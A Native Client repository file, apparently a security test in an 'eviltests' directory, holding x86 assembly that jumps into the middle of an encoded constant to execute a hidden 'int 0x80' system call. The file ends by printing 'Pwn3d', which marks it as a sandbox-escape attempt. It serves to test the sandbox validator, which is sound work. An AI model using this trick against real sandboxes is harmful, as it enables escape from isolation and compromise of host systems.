Debugging: Add code to print backtrace for guest on SIGSEGV
[nativeclient.git] / tests / eviltests / vmdefect.s
blob969fbe4d3d9398755853dcb168e39c3e7846d1e3
1 /* To build: */
2 /* tools_bin/nacl-sdk/nacl/bin/as -o vmdefect.o vmdefect.s */
3 /* tools_bin/nacl-sdk/nacl/bin/ld -o vmdefect.nexe vmdefect.o */
6 .intel_syntax noprefix
7 .section .data
8 msg: .asciz "Pwn3d\n"
9 .section .text
10 .global _start
11 _start:
12 mov eax, 4
13 mov ebx, 1
14 lea ecx, msg
15 mov edx, 6
16 nop
17 nop
18 nop
19 nop
20 lea esi, pwned+1
21 push esi
22 .byte 0x0f
23 .byte 0x72
24 .byte 0x24
25 .byte 0x2e
26 ret
27 pwned:
28 mov ebx,0x80cd9090